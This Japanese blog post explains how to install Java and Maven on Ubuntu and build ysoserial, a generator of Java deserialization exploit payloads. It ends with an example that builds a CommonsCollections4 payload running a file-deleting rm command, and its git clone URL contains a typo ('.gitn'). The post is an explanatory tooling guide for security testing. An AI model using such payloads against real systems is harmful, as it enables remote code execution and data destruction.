Tools

ysoserial をビルドする

投稿日:2020年10月12日 更新日:

1. はじめに

任意のコマンドなどを仕込んだ Java の(シリアライズされた)オブジェクトを生成する frohoff/ysoserial というツールがあるのですが、このツールのソースコードをビルドして ysoserial.jar を生成する手順を紹介します。

2. 前提とする環境

  • Ubuntu 20.04 (on WSL on Windows 10)

3. ysoserial をビルドする

ysoserial をビルドするまでの大まかな手順を紹介します。

1) Java を導入

以下のコマンドで JRE をインストールします。

$ sudo apt install default-jre

以下のコマンドで JDK をインストールします。

$ sudo apt install default-jdk

~/.profile ファイルに以下を記述します。

export JDK_HOME="/usr/lib/jvm/java-11-openjdk-amd64"
export PATH="$JDK_HOME:$PATH"

これは環境変数をセットしていますが、すぐに反映したいのであれば、この2行をコマンドとして実行してください。

JDK_HOME にセットするパスは、そのときに導入された Java のバージョンによって異なりますが、/usr/bin/java のシンボリックリンクをたどっていくと分かります。

問題がなければ java コマンドと javac コマンドのバージョンを表示することができるはずです。

$ java -version
$ javac -version

2) Maven を導入

Maven – Download Apache Maven にアクセスして、apache-maven-X.X.X-bin.tar.gz もしくは apache-maven-X.X.X-bin.zip をダウンロードします(「X.X.X」の部分はバージョンを表しています)。

ダウンロードしたファイルを解凍すると apache-maven-X.X.X というフォルダが生成されるので、任意のフォルダに移動させます。ここでは、~/local というフォルダの下に移動されたと仮定します。

Maven の bin ディレクトリにパスを通すため、~/.profile ファイルに以下を追記します。

export PATH=~/local/apache-maven-X.X.X/bin:$PATH

Maven を一時的にしか使わないのであれば、~/.profile には記述せず、必要なときだけこのコマンドを実行するというのでもよいです。

以下のコマンドで mvn コマンドのバージョンが表示されれば問題ありません。

$ mvn --version

3) ysoserial の導入とビルド

git コマンドを使って、ysoserial のソースコードをダウンロードします。

$ git clone https://github.com/frohoff/ysoserial.gitn

生成されたディレクトリに移動します。

$ cd ysoserial

ビルドを実行します。

$ mvn clean package -DskipTests

ビルドが正常に終了した場合は、「BUILD SUCCESS」というメッセージが表示されます。

この時点で、カレントディレクトリに target ディレクトリが生成されており、その中に ysoserial-X.X.X-SNAPSHOT-all.jar ファイルができているはずです(X.X.X はバージョン番号です)。これを ysoserial.jar として使います。ysoserial-X.X.X-SNAPSHOT.jar ではありません。

4) コマンド実行例

例えば、以下のようなコマンドを実行することができます。

$ java -jar ./target/ysoserial-X.X.X-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 > custom-payload.txt

4. おわりに

ysoserial の導入手順に関する日本語情報があまり見つからなかったので書いてみました。

📂-Tools

執筆者:labo


comment

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

関連記事

Windows

Google の「バックアップと同期」で同期エラーになった時の対応

目次1. はじめに2. 同期エラーの状況3. 対応方法4. おわりに 1. はじめに ローカルのデータを、Google ドライブと同期させる「バックアップと同期」というアプリケーションがあります。 最 …

Git

Git でユーザー名とメールアドレスを設定する方法(全体用とプロジェクト用)

Git で、ユーザー名とメールアドレスを設定する方法です。(1) 全体の設定方法と、(2) プロジェクト毎の設定方法の2つを紹介します。 目次1. プロジェクトをまたいだ全体の設定(グローバル, gl …

Linux

前回 ./configure を実行した時に指定したオプションを確認する

目次1. 前置き (configure, make, make install)2. config.status ファイル(1) 前回 configure を実行した時の引数を表示する(2) 前回 c …

Web Programming

Webプログラミングに役立つサービスたち

目次全般HTML, CSS, JS をすぐに試せるWebサービス他のサービスが使っている技術・ツールを知る多言語対応デザインレイアウトフォント関連ロゴ作成HTMLパーツジェネレーターオンラインエディタ …

Windows

Windows 10 のターミナル設定(MSYS2編)

MSYS2 を使って、Windows 10 にターミナル環境を構築する方法を紹介します。 MSYS2というのは、Windows上にUNIXライクな環境を導入するソフトウェアです。 現在では、Windo …